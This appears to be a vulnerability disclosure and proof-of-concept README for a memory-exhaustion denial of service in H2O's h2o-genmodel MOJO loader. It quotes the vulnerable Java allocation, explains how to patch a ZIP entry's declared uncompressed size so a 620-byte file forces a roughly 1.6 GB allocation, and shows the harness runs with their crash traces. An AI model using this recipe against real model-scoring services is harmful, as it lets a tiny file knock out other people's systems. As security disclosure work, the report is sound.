YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
H2O MOJO (.zip) eager-allocation DoS β PoC
Target: ai.h2o:h2o-genmodel (h2o-3 genmodel MOJO reader, Java), tested against
Maven Central release 3.46.0.11 (latest at time of testing; reader class is
unchanged from the pinned commit 1676df7c).
Sink: h2o-genmodel/src/main/java/hex/genmodel/ZipfileMojoReaderBackend.java
@Override
public byte[] getBinaryFile(String filename) throws IOException {
ZipEntry za = zf.getEntry(filename);
if (za == null)
throw new IOException("Binary file " + filename + " not found");
byte[] out = new byte[(int) za.getSize()]; // <-- line 27, sink
DataInputStream dis = new DataInputStream(zf.getInputStream(za));
dis.readFully(out); // <-- line 29
return out;
}
za.getSize() is read straight out of the ZIP Central Directory record's
"uncompressed size" field. It is fully attacker-controlled and completely
decoupled from the actual bytes present in the entry's (real) deflate stream.
The JVM eagerly zero-fills new byte[n] β this is a real, immediate memory
commit, not a lazily-paged allocation β before a single byte is read from
the archive.
Reachable surface (public API, no special flags):
MojoModel.load(path)
-> ModelMojoReader.readFrom
-> GbmMojoReader.readModelData() (DRF hits the same shared path)
-> SharedTreeMojoReader.readModelData()
-> ModelMojoReader.readblob("trees/t00_000.bin")
-> ZipfileMojoReaderBackend.getBinaryFile() <- SINK
This is the primary model-loading path used whenever any caller (a scoring
service, h2o.mojo_predict_csv, a Java embedding of h2o-genmodel, etc.)
loads an untrusted GBM/DRF MOJO archive.
PoC construction
BuildEvilMojo.java builds an otherwise well-formed, minimal MOJO zip with
java.util.zip.ZipOutputStream (so all headers/CRCs/offsets/EOCD are valid),
then binary-patches only the 4-byte "uncompressed size" field inside the
Central Directory record for trees/t00_000.bin (offset 24 within the CEN
record, per the PKZIP APPNOTE layout) to an attacker-chosen value β while the
actual (real) compressed payload for that entry stays a handful of bytes.
evil_mojo.zip(620 bytes on disk): realtrees/t00_000.binpayload = 5 bytes; declared (CEN) uncompressed size = 1,717,986,918 (~1.6 GB).control_mojo.zip(620 bytes, negative control): identical shape/layout, but declared size == real size (5 bytes) β a legitimate, well-formed MOJO.
Harness.java calls the real, unmodified hex.genmodel.MojoModel.load(path)
entry point and reports what happens.
Results (executed)
1. Negative control β well-formed same-shape MOJO loads cleanly:
$ java -Xmx512m -cp <cp> Harness control_mojo.zip
[+] SUCCESS: model loaded cleanly: algo=gbm category=Regression (86 ms)
2. Malicious MOJO, -Xmx512m β a 620-byte input file crashes the JVM with
OutOfMemoryError at the sink line itself:
$ java -Xmx512m -cp <cp> Harness evil_mojo.zip
[+] OutOfMemoryError (expected on malicious MOJO, small heap) after 175 ms:
java.lang.OutOfMemoryError: Java heap space
at hex.genmodel.ZipfileMojoReaderBackend.getBinaryFile(ZipfileMojoReaderBackend.java:27)
at hex.genmodel.ModelMojoReader.readblob(ModelMojoReader.java:134)
at hex.genmodel.algos.tree.SharedTreeMojoReader.readModelData(SharedTreeMojoReader.java:54)
at hex.genmodel.algos.gbm.GbmMojoReader.readModelData(GbmMojoReader.java:19)
at hex.genmodel.ModelMojoReader.readAll(ModelMojoReader.java:265)
at hex.genmodel.ModelMojoReader.readFrom(ModelMojoReader.java:66)
at hex.genmodel.MojoModel.load(MojoModel.java:57)
at hex.genmodel.MojoModel.load(MojoModel.java:39)
3. Malicious MOJO, -Xmx3g β the eager ~1.6 GB allocation succeeds
(proving it is a real commit, not merely reserved/demand-paged address
space), then the real 5-byte deflate stream runs dry and readFully throws
EOFException β but only after the memory has already been committed:
$ java -Xmx3g -cp <cp> Harness evil_mojo.zip
[+] EOFException AFTER the eager array allocation already committed (expected on malicious MOJO, large heap) after 3127 ms:
java.io.EOFException
at java.base/java.io.DataInputStream.readFully(DataInputStream.java:202)
at java.base/java.io.DataInputStream.readFully(DataInputStream.java:170)
at hex.genmodel.ZipfileMojoReaderBackend.getBinaryFile(ZipfileMojoReaderBackend.java:29)
...
[*] Heap after alloc attempt: total=1891MB max=3072MB free=250MB
OS-level confirmation via /usr/bin/time -v on the same -Xmx3g run:
Maximum resident set size (kbytes): 1770016 # ~1.73 GB RSS, real physical/committed memory
This confirms the allocation is a genuine memory commit visible to the OS β a 620-byte attacker-supplied file drives ~1.6-1.7 GB of real process memory, and a heap sized below the declared (fake) size crashes the JVM immediately at the allocation site.
Why this is filable (not deduped)
- CVE-2022-25647 (gson), CVE-2024-7765 (
/3/ParseSetup), CVE-2024-8616 (MOJO export) β none of these cover read-time eager allocation in the genmodel MOJO reader; different component, different bug class. - Same accepted-class shape as prior MFV eager-alloc DoS findings (Tensorizer, Avro/fastavro, MLeap): declared size fully decoupled from real content, consumed by an eager (non-demand-paged) allocation, reachable from the library's primary/only public load entry point.
- H2O has no untrusted-model carve-out in its security policy β the
SECURITY.mddependency-CVE table does not scope out this class of bug β so it is in-scope per program norms (G6 in-scope gate). - H2O-3 /
h2o-genmodelis a widely used library (Maven Central, millions of downloads), making this a payable, high-signal MFV finding.
Files
poc/
BuildEvilMojo.java # crafts evil_mojo.zip / control_mojo.zip
Harness.java # calls the real MojoModel.load() and reports outcome
run_poc.sh # one-click: fetches deps, compiles, runs all 3 scenarios
evil_mojo.zip # 620-byte malicious MOJO (generated)
control_mojo.zip # 620-byte well-formed negative control (generated)
libs/
h2o-genmodel-3.46.0.11.jar (+ -sources.jar)
gson-2.9.1.jar
h2o-tree-api-0.3.17.jar
h2o-logger-3.46.0.11.jar
Run everything from scratch with bash run_poc.sh (from the poc/
directory; network required once to fetch the jars from Maven Central).